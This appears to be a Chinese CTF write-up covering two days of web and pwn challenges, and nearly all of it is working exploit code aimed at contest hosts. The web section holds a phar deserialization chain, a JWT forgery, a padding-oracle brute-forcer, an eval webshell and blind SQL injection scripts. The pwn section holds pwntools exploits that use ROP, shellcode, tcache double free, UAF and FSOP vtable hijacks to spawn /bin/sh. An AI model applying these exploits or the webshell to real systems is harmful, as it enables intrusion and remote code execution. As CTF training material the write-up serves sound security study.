web
web-day1
web1
EXP
利用User的__destruct的close()调用File的close()
<?php
class File{
public $filename = "/flag.txt";
}
class User {
public $db;
}
class FileList {
public $files;
}
$o = new User();
$o->db =new FileList();
$o->db->files=array(new File());
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
上传文件后删除抓包,即可得到flag
web2
- 薅羊毛与逻辑漏洞
- cookie伪造
- python反序列化
首先批量注册筹款。
根据提示找到lv6的商品。抓包修改折扣的参数,让我们买得起,购买成功从而获得后台路径。 http://172.1.2.2/b1g_m4mberimport requests for i in range(2000): a = requests.get('http://172.1.2.2/info/{}'.format(str(i))) if 'lv6.png' in a.content: print i
提示修改cookie,是个jwt,爆破一下,key是1Kun
,篡改username为admin。
获得反序列化的机会。在源码中读到这个。
下载源码,找到反序列的地方。
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
反序列化读文件。
web3
获得的源码和实际服务器上代码完全不同。
有git泄露,但是没用。
在robots.txt找到备份
http://172.1.2.5/backup.zip
# -*- coding: utf-8 -*-
import sys
import string
import base64
import requests
def str_xor(a, b):
return ''.join([chr(ord(i) ^ ord(j)) for i, j in zip(a, b)])
#base_url = "http://172.2.100.103:23232/login.php"
base_url = "http://172.1.2.5/login.php"
cookies = {
'token': '',
'PHPSESSID': '4cc5fdroq2lcaeiflsjm3d9ueu'
}
tmp_iv = '0' * 16
tmp_ivs = list(tmp_iv)
value = []
# 只能破解出value后15个字符
for flag in range(1, 16):
for i in range(256):
# brute
tmp_ivs[15-len(value)] = chr(i)
cookies['token'] = base64.b64encode(''.join(tmp_ivs))
resp = requests.get(base_url, cookies=cookies)
if 'Error' not in resp.content:
value.append(flag ^ i)
# 更改初始向量
tmp_iv = '0' * (16-len(value)) + ''.join(chr(value[i] ^ (flag+1))
for i in range(len(value)-1, -1, -1))
tmp_ivs = list(tmp_iv)
#print resp.content
print flag, i, value
break
if i == 255:
print resp.content
print 'error'
break
# 逆序
value.reverse()
print value
value_ = ''.join(chr(v) for v in value)
fake_id = 'onepiece' + chr(8) *8
len_ = 0
for i in range(256):
# 爆破value 第一个字符
token = chr(i) + value_
iv = str_xor(token, fake_id)
cookies['token'] = base64.b64encode(iv)
# print cookies['token']
resp = requests.get(base_url, cookies=cookies)
if len_ != len(resp.content):
print i
print cookies
print resp.content
len_ = len(resp.content)
padding-oracle,代码中说把明文改成admin,结果hint说改成onepiece,汗
改对以后,admin.php还不给flag,和主办方说了才修复了环境。
web4
- 扫描得 hint.php
- index.php 返回头带有 uploadupload.php
- 通过 hint.php 伪协议可得全部代码
- 新建文件夹i,内含一t.php
t.php 内容<?php $in=file_get_contents("php://input"); var_dump(eval($in)); ?>
- 通过 uploadupload.php 上传修改后缀为 jpg 的 phar
- hint.php?name=phar://file/ce5193a069bea027a60e06c57a106eb6.jpg/i/t,得到 webshell
- 菜刀连上获得 /flag.txt
web5
sqlmap随便找个地方一把梭,好像是手机号可以注入。
然后select load_file('/flag.txt');
还有首页有一个文件包含,可以直接读取flag。
web-day2
web1
sql注入,用elf(bool,sleep(5))可以时间盲注,用\t绕过空格的校验。
import requests
import time
url = "http://172.1.2.1/index.php"
flag = ''
while True:
for i in range(128):
ss = time.time()
data = {
'id':'''ELT(left((select flag from ctf),{})='{}{}',SLEEP(1))'''.format(len(flag)+1,flag, chr(i))
}
#print data
requests.post(url,data=data)
if time.time()-ss>=0.5:
flag += chr(i)
print flag
break
EXP2
import requests
import string
dic = string.digits + string.letters + "!@$%^&*()_+{}-="
url = "http://172.1.15.1/index.php"
data = {
"id":""
}
l = 1
flag = ""
while(True):
for i in range(256):
# print i
data['id'] = "IF(substr((select flag from ctf),{},1)='{}',1,2)".format(l,chr(i))
data['id'] = data['id'].replace(" ","\n")
resp = requests.post(url,data=data)
# print(resp.content)
if "first" in resp.content:
flag += chr(i)
print flag
break
l+=1
web2
- 访问 http://172.1.2.2/?src 得到源码
- 审计源码,添加了$_POST 绕过 $_REQUEST
- url 转义 绕过 QUERY_STRING 匹配,数组绕过 md5
- flag 参数用 data://text/plain,security 绕过
- curl -X POST \
'http://172.1.2.2/index.php?cyber%5B%5D=123&ciscn=ciscnsec%0A&flag=data%3A%2F%2Ftext%2Fplain%2Csecurity' \
-H 'cache-control: no-cache' \
-H 'content-type: application/x-www-form-urlencoded' \
-H 'postman-token: 2422f808-0e28-ea5f-7613-a84c06e1a641' \
-d 'flag=1&cyber=1&ciscn=1'
【注意url编码绕过】
# pwn
## pwn-day1
### pwn1
直接栈溢出加ROP,劫持栈到bss段上,ROP调用system getshell
```python
from pwn import *
p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)
def pwn():
global p
BIN_PATH = './guess'
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('172.1.2.6',8888)
# libc = ELF('./libc_32.so.6')
context.log_level = 'debug'
# 0x555555554000
if ATTACH==1:
gdb.attach(p,'''
b *0x4006a2
b *0x4006DA
set follow-fork-mode parent
''')
ru(' number.')
# sl('a'*(0x30-0x4)+p64(0x41348000)+'a'*0x100)
target = 0x601100+0x400
p_rdi_r = 0x0000000000400793
p_rsi_r15_r = 0x0000000000400791
leave_r = 0x4006DA
gets_plt = 0x400550
system_plt = 0x400530
# system_plt = 0x4006C8
payload = 'a'*(0x30-0x4)+p32(0x41348000)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
# payload = 'a'*(0x30-0x4)+p32(0xdeadbeef)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
payload += p64(leave_r)
sl(payload)
raw_input('ssss')
payload = p64(0xdeadbeef)+p64(p_rdi_r)+p64(target+0x50)+p64(p_rsi_r15_r)+p64(0)*2+p64(system_plt)
payload = payload.ljust(0x50,'\x00')
payload += '/bin/sh\x00'
sl(payload)
p.interactive()
if name == 'main':
pwn()
### pwn5
还是简单的栈溢出,存在rwx的段,第一次读入的shellcode字节数长度不够,可以在溢出的时候ROP调用gets往rwx段读入不受长度限制的shellcode,在跳转到shellcode执行即可getshell
```python
from pwn import *
p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)
def pwn():
global p
BIN_PATH = './pwn'
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('172.1.2.8',8888)
# libc = ELF('./libc_32.so.6')
context.log_level = 'debug'
# 0x555555554000
if ATTACH==1:
gdb.attach(p,'''
b *0x4006A4
''')
p_rdi_r = 0x0000000000400713
p_rsi_r15 = 0x0000000000400711
gets_plt = 0x400510
target = 0x601080
payload = 'aaaa'
info(hex(len(payload)))
sla('name',payload)
payload = '\x00'*0x20+p64(0xdeadbeef)+p64(p_rdi_r)+p64(target)+p64(gets_plt)+p64(target)
sla('to me?',payload)
raw_input('sss')
sl(asm(shellcraft.sh()))
p.interactive()
if __name__ == '__main__':
pwn()
pwn2
这题的给的libc为2.29,有tcache,但是该版本的libc对tcache进行了double free的检测。(具体怎么检测的感兴趣的可以看一下源码)。
程序在delete的时候只是将标志字段设置为0,并没有将指针清零,而程序在delete和addMoney中,没有对flag标志进行检查。这样就可以修改已在tcache中的chunk的key(key与money是对应的),进而就可以double free了,然后改bss上的指针就可以了。
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
def create(name, age):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('name:')
p.send(name)
p.recvuntil('age:')
p.send(str(age))
def delete(idx):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.send(str(idx))
def edit(idx, name, age):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Index:')
p.send(str(idx))
p.recvuntil('name:')
p.send(name)
p.recvuntil('age:')
p.send(str(age))
def show(idx):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Index:')
p.send(str(idx))
def add(idx):
p.recvuntil('Your choice: ')
p.sendline('5')
p.recvuntil('Index:')
p.send(str(idx))
def buy(idx, addr, l):
p.recvuntil('Your choice: ')
p.sendline('6')
p.recvuntil('Index:')
p.send(str(idx))
p.recvuntil('leak:')
p.sendline(str(addr))
p.recvuntil('leak:')
p.sendline(str(l))
def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./pwn')
else:
p = remote(ip, port)
libc = ELF("./libc.so")
create('emmm', 10)
delete(0)
add(0)
delete(0)
create(p64(0x602060), 10)
create(p64(0x601FA8), 10)
create(p64(0x601F88), 10)
add(2)
show(0)
p.recvuntil('name: ')
libc.address = u64(p.recvn(6) + '\x00' * 2) - libc.symbols['free']
log.info('libc addr is : ' + hex(libc.address))
edit(2, p64(libc.symbols['__free_hook']), next(libc.search('/bin/sh')))
edit(0, p64(libc.symbols['system']), 10)
delete(1)
p.interactive()
if __name__ == '__main__':
GameStart('172.1.2.7', 8888, 0)
pwn3
在创建Text类型的Note的时候,如果type不对或是size过大,程序会return,但是结构体中的两个函数指针已经被赋值为Int类型的函数指针了,而type的值还是之前保留下来的脏数据,由此可以泄露heap地址。程序还存在UAF漏洞,这样就可以double free来改Note结构体中的函数指针为plt@system
,删除对应的Note即可getshell。
from pwn import *
p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)
def add(idx,typ,value,size=0):
sla('CNote > ',str(1))
sla('Index > ',str(idx))
sla('Type > ',str(typ))
if typ==1:
sla('Value > ',str(value))
else:
sla('Length > ',str(size))
if size<=0x400:
sa('Value > ',value)
def delete(idx):
sla('CNote > ',str(2))
sla('Index > ',str(idx))
def show(idx):
sla('CNote > ',str(3))
sla('Index > ',str(idx))
def pwn():
global p
BIN_PATH = './torchwood'
DEBUG = 0
ATTACH = 0
context.arch = 'i386'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('172.1.2.9',8888)
# libc = ELF('./libc_32.so.6')
context.log_level = 'debug'
# 0x555555554000
# if ATTACH==1:
# gdb.attach(p,'''
# b *0x08048AC1
# ''')
# add(idx,typ,value,size=0)
# leak heap addr
add(0,2,'aaaa\n',0x38)
add(1,1,0x1234)
delete(0)
add(2,2,'aaaa\n',0x500)
show(2)
ru('Value=')
heap_addr = int(ru(')')[:-1])
log.info('heap addr: '+hex(heap_addr))
heap_base = heap_addr-0x18
log.info('heap base: '+hex(heap_base))
add(3,2,'e3pem\n',0x38)
# double free
payload = 'a'*0x28+p32(0)+p32(0x41)+'\n'
add(4,2,payload,0x38)
add(5,2,'aaaa\n',0x38)
add(6,1,0x1234)
delete(4)
delete(5)
delete(4)
payload=p32(heap_base+0xb0)+'\n'
add(7,2,payload,0x38)
add(8,2,'/bin/sh\x00\n',0x38)
add(9,2,'aaaa\n',0x38)
delete(1)
if ATTACH==1:
gdb.attach(p,'''
b *0x08048AC1
b *0x0804895A
''')
payload = '\x00'*8+p32(0)+p32(0x11)+'sh\x00\x00'+p32(0x8048500)+p32(heap_base+0xd8)+'\x41'+'\n'
add(10,2,payload,0x38)
delete(8)
# add(0,1,0x1234)
# payload = 'e3pem\n'
# add(2,2,payload,0xa0)
p.interactive()
if __name__ == '__main__':
pwn()
pwn4
libc 2.23的off-by-one,程序没有开PIE
。可以很方便的构造堆块重叠,进而可以改在堆中的结构体,造成任意地址写(改got表、_IO_list_all
等都可以)。
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
def build(size, data):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil(' nest ?')
p.sendline(str(size))
p.recvuntil('the nest?')
p.send(data)
def offbyone(idx, data):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(idx))
p.recvuntil('the nest?')
p.send(data)
def show(idx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(idx))
def delete(idx):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('Index :')
p.sendline(str(idx))
def VTCBypassOneGadget(vtable_addr, one_gadget_addr, io_list_all_addr):
exp = p64(0) + p64(0x61) + p64(0) + p64(io_list_all_addr - 0x10)
exp += p64(0) + p64(1) + p64(0) + p64(0) + p64(0) + p64(0) * 6 + p64(0) + p64(0) * 4
exp += p64(0) + p64(2) + p64(3) + p64(0) + p64(0xffffffffffffffff) + p64(0) * 2 + p64(vtable_addr - 0x18) + p64(one_gadget_addr)
return exp
def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./wood', env = {'LD_PRELOAD' : './libc.so.6'})
else:
p = remote(ip, port)
libc = ELF('./libc.so.6')
build(0x10, 'emmmmm')
build(0x10, 'emmmmm')
delete(0)
delete(1)
build(0x28, 'emmmm')
build(0xf0, 'emmmm')
build(0xe0, 'emmmm')
offbyone(0, '\x00' * 0x28 + '\xf1')
delete(1)
build(0x300, '\x00' * 0xf0 + p64(0) + p64(0xf1) + '\x00' * 0xe0 + p64(0) + p64(0x21) + '\x00' * 0x10 + p64(0) + p64(0x21))
delete(2)
build(0xe0, 'a' * 8)
show(2)
p.recvuntil('aaaaaaaa')
libc.address = u64(p.recvn(6) + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x10 - 0x58
log.info('libc addr is : ' + hex(libc.address))
delete(2)
one_gadget = 0x45216
one_gadget = 0x4526a
# one_gadget = 0xf02a4
# one_gadget = 0xf02b0
# one_gadget = 0xf1147
offbyone(1, '\x00' * 0xf0 + VTCBypassOneGadget(libc.address + 0x3C33F8, libc.address + one_gadget, libc.symbols['_IO_list_all']))
# gdb.attach(p)
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil(' nest ?')
p.sendline(str(0x100))
p.interactive()
if __name__ == '__main__':
GameStart('172.1.2.10', 8888, 0)
pwn-day2
pwn2
输入666即可泄露libc地址,程序在读取Author name:
的时候多读了8字节,刚好覆盖了下一个字段,该字段为指针,这样就能实现任意地址写了。利用任意地址写来修改stderror
结构体的vtable指针,指向我们可控的地方,exit触发虚表调用即可getshell
from pwn import *
p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)
def add(length,name):
sla('-> ',str(1))
sla('Length: ',str(length))
sa('name:',name)
def pwn():
global p
BIN_PATH = './pwn'
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('172.1.2.4',8888)
libc = ELF('./libc2.so')
context.log_level = 'debug'
# 0x555555554000
if ATTACH==1:
gdb.attach(p,'''
b *0x555555554000+0xa77
b *0xf30+0x555555554000
''')
sla('-> \n',str(666))
# print ru('\n')
libc_base = int(ru('\n')[:-1],16)-libc.sym['puts']
log.info('libc addr: '+hex(libc_base))
# add
payload = 'a'*8+p64(libc_base+libc.sym['_IO_2_1_stderr_'])
add(0xe0,payload)
sla('-> \n',str(2))
sla('New ','e3pem')
fake_file = ('/bin/sh\x00'+p64(0x61)+p64(0)+p64(libc.sym['_IO_list_all']-0x10)+p64(libc.sym['_IO_list_all'])+p64(libc.sym['_IO_list_all']+0x10))
fake_file += p64(libc_base+libc.sym['_IO_2_1_stderr_']+56)+p64(0)*2+p64(libc_base+libc.sym['system'])*5+p64(0)*6+p64(0)+p64(0)*3+p64(0xffffffffffffffff)
fake_file = fake_file.ljust(0xd8,'\x00')
fake_file += p64(libc_base+libc.sym['_IO_2_1_stderr_']+8*6)
payload = fake_file
print hex(len(fake_file))
sla('contents:\n',payload)
ru('Over.')
sla('-> \n',str(4))
p.interactive()
if __name__ == '__main__':
pwn()
pwn3
是一个逆向题目,输入24个字符,类似自动机一样处理数据。运算完之后和结果比对,若对于每个字符a,abs(a-target)<=1,就给你shell。
ida里可以提取十六进制,然后把他写个脚本转换为 long double型的数。
# coding:utf-8
from pwn import *
con = remote("172.1.2.5",8888)
con.recvuntil('Input something')
target = [224.000000,60.000000,196.000000,119.000000,127.000000,179.000000,1.000000,77.000000,173.000000,109.000000,29.000000,111.000000,195.000000,194.000000,100.000000,108.000000,1.339806,60.000000,0.640625,42.000000,260.000000,44.529411,79.000000,143.000000]
# 参数
v11 = [0x1,0x10,0x25,0x3,0x0D,0x0A,0x2,0x0B,0x28,0x2,0x14,0x3F,0x1,0x17,0x3C,0x1,0x0,0x69,0x1,0x12,0x3F,0x2,0x0E,0x77,0x3,0x15,0x53,0x2,0x0E,0x7D,0x3,0x5,0x0A,0x2,0x4,0x55,0x2,0x15,0x33,0x2,0x15,0x5,0x1,0x5,0x2F,0x3,0x7,0x43,0x1,0x11,0x39,0x3,0x0D,0x27,0x1,0x5,0x1E,0x3,0x4,0x3C,0x1,0x13,0x1E,0x3,0x1,0x78,0x1,0x0,0x20,0x2,0x0F,0x53,0x3,0x14,0x2B,0x3,0x14,0x28,0x3,0x0A,0x19,0x3,0x12,0x60,0x1,0x5,0x7E,0x3,0x0F,0x20,0x1,0x0F,0x58,0x2,0x11,0x51,0x1,0x0B,0x24,0x1,0x17,0x79,0x1,0x0E,0x4A,0x3,0x10,0x67,0x2,0x16,0x5C,0x3,0x9,0x6D,0x1,0x17,0x30,0x2,0x0A,0x2C,0x3,0x7,0x3F,0x3,0x7,0x43,0x1,0x4,0x4,0x2,0x0,0x0F,0x1,0x2,0x63,0x2,0x3,0x70,0x1,0x8,0x7B,0x2,0x6,0x14C,0x2,0x0B,0x7A,0x1,0x0C,0x0D0,0x2,0x11,0x22,0x2,0x13,0x66,0x4,0x15,0x0BB,0x4,0x12,0x80,0x4,0x10,0x67,0x4,0x1,0x0D8,0x1,0x3,0x80,0x1,0x4,0x2,0x4,0x4,0x12,0x4,0x5,0x7,0x1,0x6,0x0DA,0x4,0x7,0x43,0x4,0x7,0x43,0x4,0x7,0x5A,0x2,0x8,0x42,0x4,0x9,0x5F,0x4,0x0A,0x59,0x1,0x0B,0x79,0x2,0x0C,0x6C,0x4,0x0D,0x0C3,0x1,0x0E,0x0AF,0x4,0x0F,0x0A,0x4,0x10,0x67,0x4,0x12,0x0C0,0x4,0x14,0x2B,0x4,0x14,0x8,0x1,0x16,0x6C,0x2,0x17,0x0D3]
assert(len(target)==24)
v11.reverse()
# 三个一组
for i in range(0,232,3):
# 反向
op_ = v11[i+2]
index_ = v11[i+1]
num_ = v11[i]
if op_ == 2:
target[index_] += num_
if op_ == 3:
target[index_] /= num_
if op_ == 4:
target[index_] *= num_
if op_ == 1:
target[index_] -= num_
result = ''
for op in target:
result += chr(int(op))
con.sendline(result)
con.interactive()